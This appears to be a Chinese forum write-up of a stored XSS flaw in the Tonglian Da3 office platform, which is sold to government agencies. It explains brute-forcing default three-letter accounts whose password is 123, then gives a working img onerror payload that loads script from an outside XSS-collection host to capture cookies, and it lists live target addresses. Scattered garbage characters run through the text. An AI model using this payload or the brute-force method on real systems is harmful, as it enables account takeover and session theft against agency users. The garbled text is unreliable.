同联Da3协同办公平台后台通用储存型xss漏洞

admin

' C) c" j) h+ k9 E% S2 I9 H # K& R. Q4 o: e x* P& B 0 ^8 H0 h" G# x/ g. A ( T; R- j8 ]; p* T' [- M/ S; a" _( f + z3 s5 j8 e6 L , z- u5 |, c% r) f! u8 B; u/ I# G, T 9 h4 D- o3 t: ~9 x m3 f / [5 x( L$ i4 H; G6 ]& F* F5 Q

2 [9 t" u9 N2 j

同联Da3协同办公平台后台通用储存型xss漏洞 8 h0 H: s4 }- W

平台简介： $ D; n* W8 ^- S& Y" t

2 W1 x$ s$ P U- M, t% m4 ^2 L, X: ~' |

5 ^, {4 m7 t+ Z& s7 ?  

2 f$ E4 Q$ X6 b; c 北京同联信息技术有限公司（以下简称同联）由用友政务与用友原行业事业部团队合伙出资成立。同联以“为全国各级政府单位提供信息化咨询规划、建设解决方案和信息化运维服务，以加强各级政府的精细化、智能化管理，形成高效、敏捷、便民的新型政府。”为使命，致力于为各级政府单位提供专业、标准、灵活、易用的信息化产品及专业的服务。
同联面向政府单位提供专业、标准、灵活、易用的信息化产品。针对各级政府单位，分别提供以“移动政务办公”为主的Da3系列管理软件；针对政法单位提供以“协同办案”为核心的政法协同办案系统等。
$ a0 T" _0 N. q( h同联本着“协作、专业、创新”的工作方针，为推动各级政府单位信息化、促进各级政府快速转型为 “智慧型政府”做出积极贡献！

) g s; m) g u* e) f8 b

, Z' V, G* ~ w) r& _& p  

6 E0 P# H* p) u; T+ v

由于此程序为新开发的程序，故能找到的案例并不多，下面附案例地址：

" F2 ~: A6 _0 S. ~$ m

# W" I) r6 b- O5 `! M: ]% Q   * x# A( B, g6 A, F7 {! S7 y

0 b* U2 \/ H s+ n3 h http://1.1.1.1:7197/cap-aco/#（案例2-）

http://www.XXOO.com （案例1-官网网站） : ?8 O; E. ~2 @7 p

: _2 [5 K+ O$ k) T9 K9 _

漏洞详情:

3 N: @1 g! D9 W4 @2 D( C) C

 案例一、

2 r6 I$ `. G2 c ~

初步确定平台的默认账号为姓名的首字母小写，初始密码为123，为了能够更好的模拟入侵，使用黑盒测试手段进行测试

     首先使用burpsuite代理，然后再用黑客字典生成一个全英文小写的3位字典，利用burpsuite进行暴力破解，破解结果如图：

 

2 I, l8 K$ P; S J; b) p

- M! ~2 ?" R" ^( V9 K0 @% R/ a( U

$ S, k% \" {* G status为302即表示破解成功，然后找个破解成功的账号登录系统。然后在通知公告---通知公告发布-拟稿处存在储存型xss漏洞，我在编机器里填写好标题、选择人员，点html如图：

9 P7 V h/ }' Z) N

/ \7 I! _( @- ?. o8 |   & F. R" I9 V5 n9 l6 q3 J

* D9 |4 z) b4 u8 E

1 ?6 {& E# o6 P6 F, A. c2 P

, a+ [5 ]9 r: U! B6 g 然后插我们的xss跨站代码（经过测试发现过滤了好多标签，比如script，没过滤img、iframe标签），这里我们用img标签来测试，payload如下

7 j4 U5 _# {: c1 M5 X9 c

: d: Z; W% D7 S- O& x   9 Q2 ~, z1 ^, i; L: S; Y

0 g/ W' j# u% N! g% m( _8 \

) C& ]4 z, }# v4 S* Q <img src=x / i8 H' i& v! f2 n9 @6 donerror=s=createElement('\x73cript');body.appendChild(s);s.src='http://xss.6kb.org/7OO7GQ?1510065652';>，如图：

, z4 g& R7 s$ c5 i# |& r( W. l

( }* l+ R, t9 C$ ~& a* f8 n 然后发送，接收cookie如图：

  $ w1 i" {# @3 N

 

( \& ~$ H- s# u6 n' |# _7 G& z

2 J z, ]5 L# j  

- u+ E- E) ^5 N3 Y   - A# u, c2 @' @9 V) M0 x

1 `8 o& W) Q/ o, E( T

7 h5 v1 p* C4 A! z8 Z - ], z; k) Y8 n$ _1 W

, t( V# G. M; }2 {( Z$ [/ }

8 }) t% P5 \2 ?. x: _& _; d   1 \: [3 u, ^! W9 O

案例2、

$ @* X' n, |7 ]4 I. ^) c# y 前面步骤都一样，下面看效果图： 0 D G. g' T6 Z, O+ q0 J8 C$ N

P& L& t+ _$ J7 W

3 R+ Q( P5 V( f

H6 c. R% f% d) C2 ?% f

( o8 r! D4 U n% p+ T' b   . P9 Q' i: O0 V {

# A0 d. E ~/ X# }

  ! h" w+ J0 c- L5 ~& X8 P

; I1 t: K- M. \) n+ J4 {   2 Q, S: y" j6 S4 j) Q4 f8 x3 V& Z

]. m( r$ y1 c9 ?0 _' B' X

: N: k' p" H" Y' o" ~  

* J7 [; Q( {, c) A. q   2 }/ q: U5 e( |9 j1 v3 Z& s

- G. Z) T: X) Q" _+ \

, L( U9 C# j# j) O, k  

3 F( }" v. k, Q6 ~$ O# W